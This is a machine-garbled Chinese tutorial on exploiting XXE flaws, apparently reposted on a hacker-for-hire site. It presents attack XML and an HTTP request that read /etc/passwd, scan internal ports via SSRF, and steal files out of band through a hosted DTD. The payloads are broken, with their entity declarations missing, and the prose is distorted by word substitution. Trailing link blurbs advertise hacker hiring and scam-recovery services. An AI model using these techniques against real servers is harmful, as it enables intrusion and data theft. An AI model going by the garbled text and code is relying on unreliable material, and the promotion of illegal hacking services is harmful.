XXE缝隙使用技巧:从XML到长途代码履行

访客5年前关于黑客接单889


你的Web运用是否存在XXE缝隙?
假如你的运用是经过用户上传处理XML文件或POST恳求(例如将SAML用于单点登录服务乃至是RSS)的,那么你很有或许会遭到XXE的进犯。XXE是一种十分常见的缝隙类型,咱们简直每天都会碰到它。在上一年的几回web运用浸透中,咱们就成功的运用了好几回。
什么是XXE
简略来说,XXE便是XML外部实体注入。当答应引证外部实体时,经过结构歹意内容,就或许导致恣意文件读取、体系指令履行、内网端口勘探、进犯内网网站等损害。
例如,假如你当时运用的程序为PHP,则能够将libxml_disable_entity_loader设置为TRUE来禁用外部实体,然后起到防护的意图。
根本运用
一般进犯者会将payload注入XML文件中,一旦文件被履行,将会读取服务器上的本地文件,并对内网建议拜访扫描内部 *** 端口。换而言之,XXE是一种从本地抵达各种服务的办法。此外,在必定程度上这也或许协助进犯者绕过防火墙规矩过滤或身份验证检查。
以下是一个简略的XML代码POST恳求示例:
POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1
catalog>
   core id="test101">
      author>John, Doeauthor>
      title>I love XMLtitle>
      category>Computerscategory>
      price>9.99price>
      date>2019-10-01date>
      description>XML is the best!description>
   core>
catalog>
之后,上述代码将交由服务器的XML处理器解析。代码被解说并回来:{“Request Successful”: “Added!”}
现在,当进犯者企图乱用XML代码解析时会发作什么?让咱们修改代码并包括咱们的歹意payload:
]>
catalog>
   core id="test101">
      author>John, Doeauthor>
      title>I love XMLtitle>
      category>Computerscategory>
      price>9.99price>
      date>2019-10-01date>
      description>&xxe;description>
   core>
catalog>
代码被解说并回来:
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/ *** in:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...
Blind OOB XXE
如上例所示,服务器将/etc/passwd文件的内容作为呼应回来给咱们的XXE。但是在某些状况下,即使服务器或许存在XXE,也不会向进犯者的浏览器或署理回来任何呼应。遇到这种状况,咱们能够运用Blind XXE缝隙来构建一条外带数据(OOB)通道来读取数据。尽管咱们无法直接检查文件内容,但咱们依然能够运用易受进犯的服务器作为署理,在外部 *** 上履行扫描以及代码。
场景1 – 端口扫描
在之一个示例中,咱们经过URI将恳求指向了/etc/passwd文件,并终究成功的为咱们回来了文件中的内容。除此之外,咱们也能够运用http URI并强制服务器向咱们指定的端点和端口发送GET恳求,将XXE转换为SSRF(服务器端恳求假造)。
以下代码将测验与端口8080通讯,依据呼应时刻/长度,进犯者将能够判别该端口是否已被敞开。
]>
catalog>
   core id="test101">
      author>John, Doeauthor>
      title>I love XMLtitle>
      category>Computerscategory>
      price>9.99price>
      date>2019-10-01date>
      description>&xxe;description>
   core>
catalog>
场景2 – 经过DTD盗取文件
外部文档类型界说(DTD)文件可被用于触发OOB XXE。进犯者将.dtd文件保管在VPS上,使长途易受进犯的服务器获取该文件并履行其间的歹意指令。
以下恳求将被发送到运用程序以演示和测验该办法:
catalog>
   core id="test101">
      author>John, Doeauthor>
      title>I love XMLtitle>
      category>Computerscategory>
      price>9.99price>
      date>2019-10-01date>
      description>&xxe;description>
   core>
catalog>
上述代码一旦由易受进犯的服务器处理,就会向咱们的长途服务器发送恳求,查找包括咱们的payload的DTD文件:
"file:///etc/passwd">

[1] [2]  黑客接单网

相关文章

RIPS源码精读(二):扫描目标的实例化及token信息的生成

很早就有深入剖析学习一款源代码审计东西的主意,在查找rips源码剖析相关材料时,发现相关的学习剖析材料较少,所以挑选rips作为该系列文章的剖析目标,由于没有最新版的rips的源码,因而选取的rips...

qq黑客接单有真的么_网上被骗找黑客帮忙

sudo apt install g++-4.4下面是举例阐明的电话脚本V3版别智能机器人是怎样打电话的qq黑客接单有真的么,网上被骗找黑客帮忙 net use 192.168.112.128 /u:...

安全网址,网赌输的钱可以找黑客追回来吗,找一个教你黑客的软件下载

2、用ashx页面已文本方式显现web.Config的内容 得到数据库衔接,长处:选用了必定数据剖析的办法,网站的拜访量到达必定量级时这种检测办法的成果具有较大参考价值。 为了得到表格称号,咱们能够运...

黑客哪里接单,看门狗1找黑客,网上找黑客改绩点被骗

获取用户名暗码1.3 中心代码的躲藏某天咱们的一个官方帐号突发接连发两条不正常的微博内容,看到第一条的时分还以为是作业人员小手一抖,test 到手,以为是作业人员的误操作,可是看到第二条微博的时分就现...

通过手机找人,金沙app黑钱找黑客有用吗,网上被骗可以找黑客帮忙

开端进入主题。 绕过姿态二:空白字符在同一个标题中,服务权限设置也是极为重要。 callbacks.registerScannerCheck(this);Comparer——是一个有用的东西,通常是经...

黑客接单 诚信黑客2017_王者荣耀账号密码白送

但是,这种办法有一个缺陷,即fuzzer生成的输入关于含糊测验方针自身之外的代码来说是没有任何含义的,并且,这些输入会因方针代码的细小变化而失效。 一起,这些输入也不是人类可读的,使得对由此发现的安全...